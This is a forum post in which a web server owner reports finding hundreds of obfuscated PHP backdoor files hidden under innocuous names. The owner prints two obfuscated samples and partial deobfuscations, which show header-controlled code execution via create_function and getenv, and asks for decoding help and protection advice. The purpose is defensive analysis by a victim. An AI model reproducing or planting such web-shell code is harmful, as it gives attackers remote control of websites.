I found 3 php files in a htaccess-password-protected upload folder on my server:
1. default_folders.php
2. factory.php
3. HMAC.php
Each of them contains a variable string, eg:
$Ssy='XEYP'|~djJjLkpBgK4;$Virhp='I@$'|hD1;$Uu5f9="~5q=".h9weU."((6."^#x5VexmnkagI9a'.
'4b.o7@((&G[aA';$nUv9CYo5id='@@DP'|HTTP;$ujR=UA|'J@';$kHr_tql='..n'^'vZ-';'rja'.
'g J9XEmx7';$EhtjdM=Oe28.'~2'|'k!'.dE2t;$xQ8f8KBXUBG='w{{q{'._mqq&'i~~i{'./*uA'.
'(cY*/_myw;$z5=AFD8SyFOB^'613W.&; >';$KNRdHxnCu7='{~o}v}'._ouosv.'}oo'&"{~"./*'.
'^~kr*/uuww_o."}~k~ioo";$Q6Gzag3327='$'.UDH5b.' 51ZJ"BR@d K `'.bbDPAHDY.#lSnw'.
'^JB'|'"ED@4Q0T<ZC JQT +Lh.P3@@!'.YILHJPB;$P6JsS0J='t1r.tvW]^o{F{6nVI{'./*TfvX'.
'a+?6g*/_MfOWqok.',~}{~w'&'Lyw;'.ZDRO_o.'}o{6|^|{~'.jVkvvEnmun.':jw';'zqJ5c9ES'.
'^U>0h%';$E9LcuYx='r%x!ir~'.py4l5m^':q,y6*!/"}3y3';$hAbH8rvGS='%'|'1';$S5G='45'.
'1 01#&'|'&0"83$12';$Xt8sci4vYB2=(ZAL^'ve|')|$Virhp;$yzPne79=$EhtjdM&(#hj53qX5'.
'wu}on~'&'ww|g~v');$NazHNL=$xQ8f8KBXUBG&$z5;$r_Z08N=(sswo.'}'.e_fw.'~{|ko~'&/*'.
'Z*/owwy.'}'.g_vw.'~{}yo~')&$KNRdHxnCu7;$EWPn=("!AS.-uG)Q8"^'@2!OT*)R<D')&('uX'.
'r#$'.VGiN.'$'|'x"jC}'.Kembh);$qhdm0=$Q6Gzag3327^$P6JsS0J;$c0XPM9klj8q=/*PENSF'.
'Ff0{Sn=*/$E9LcuYx&$Uu5f9;$Xt8sci4vYB2($yzPne79($nUv9CYo5id.$ujR))==$qhdm0;'zb'.
'aQIqBuY';$NazHNL($r_Z08N(null,$yzPne79($c0XPM9klj8q)),$EWPn($hAbH8rvGS./*paAC'.
'nu!A>*/$S5G,1,$kHr_tql));#wYq+l&fmIo6^{vCH;]A(Hq*&Os|8zIa.t<@7j=ff_u{=yS|lbd'.
'Eo,_mx1mxlieUNG);1|}n<-)ne1S)[g&d0uKQ<[N_-Fvp{mz&gb58tVn.$g:!8I';
I've managed to deobfuscate partially:
md5(getenv(HTTP_A))=='bd6be7b8c52d1e82c46f684443e85d05';'zb'.
'aQIqBuY';array_map(create_function(null,getenv("HTTP_X_MSISDN")),array_fill($hAbH8rvGS./*paAC'.
'nu!A>*/65383536,1,$kHr_tql));#wYq+l&fmIo6^{vCH;]A(Hq*&Os|8zIa.t<@7j=ff_u{=yS|lbd'.
'Eo,_mx1mxlieUNG);1|}n<-)ne1S)[g&d0uKQ<[N_-Fvp{mz&gb58tVn.$g:!8I';
Does anyone know of a decoder for obfuscated php code that will work comprehensively? I have referenced similar source but didn't find them exceptionally helpful:
Update (23 April 2015)
I found that it's not just these 3 files, but hundreds of files infesting deep nested directories of my web server.
Here are some of the file names of malicious PHP codes:
1. tcpdf_config.php
2. config_seo.php
3. pcltrace.lib.php
4. router.php
5. tinymce.php
6. mailto.php
7. ParanoidHTTPFetcher.php
8. Parse.php
9. xml_domit_nodemaps.php
10. xml_saxy_shared.php
11. Renderer.php
12. ShortModifiers.php
13. strcasecmp.php
14. xmlrpc_wrappers.php
15. Nonce.php
16. strspn.php
17. IPv6.php
18. php_file_utilities.php
19. php_http_status_codes.php
20. plupload.flash.swf
...
Sample code of tcpdf_config.php:
<?php
$FZbD8L='EGuiUTb'&~FmJmI8;$a6Kda1pMgq='$@L'|'(H@';$zMoimIc='" %7 !13 "F&$$D 2"(` B0$$'.
'004 $#'|'2"!#001 $"D60%F! #9d 0B43 100 $#';$RaNu0EH='w3?;7()+=Ld>1'.so23r.'(u'.
'E;s$5=r07<vS'&'78'.uur1.':'.cwsx5.'{`"2>'.kkgv1f.'|}u=<?:fC';$hcu5kmqUf03=/*F'.
'0c$*/H|'@';$wsWch_RLsj='ip`k;'^'=$04z';$F8Uqy6cUn=('O)dt{R'&'Jc/?KN')^(#kEGJJ'.
'Mn "CK'^'t;'.vuey);$ll6pVdJQF=$a6Kda1pMgq^(mN9^',b@');$i8u=(mcUkn.'*'^#rot0G8'.
'.&u/"H')|('>'.G94G9^'["'.MUeO);$Ldmr4vJuFCr=('V+'.Hz5qW.'-96ps$Z'^'7J$^'./*XW'.
'rUPeh-vnb5*/uTeIIw6.'&@:')|('Os[P.4?c:'.jewD.'}'^'l3w<qE|&'.h5EV.'.^');$eE=(#'.
'7H`44hE9!@{du1~'^'|h]d~5*'.bvk657.'|3')^('D)$'.YJPQQzsPn.'][J'^'l{|'./*rIn8Z9'.
'1_r$R*/hthalX6.'~'.Kvyi);$drhyJoFD=$zMoimIc|$RaNu0EH;$BgP=(SLBvv.'(. ~b-'./*g'.
'@rx%t*/O3nb.'$~'^'<:>$)sq]M-r"d%1q1')&('H]@'.HTlO.'@'.scWEBtSDf|XQV0_xUJ.'#EZ'.
'M[]JD*');if($F8Uqy6cUn($ll6pVdJQF($i8u($hcu5kmqUf03.$wsWch_RLsj)),/*P2_kjjC2G'.
'2]N]WvTS1:*/$drhyJoFD))exit;$Ldmr4vJuFCr($eE(false,$i8u($BgP)));#hT9e4H*2^BR'.
'V+mUjM#N=8#zU ,Q1syDZ+b%a(K*+9F[NH~!ev|M~TyFuNXq%hMP&8T3';
and what I deobfuscate of it:
call_user_func(create_function(false, getenv('HTTP_X_H3G_MSISDN')));
I suspect this code has something to do with mobile hacking. And I am aware that the hacker could find this page easily by googling his own code.
My deobfuscating is still not comprehensive and I need advice on that. I want this post to offer a method of deobfuscating for other victims, then advise protection mechanisms.
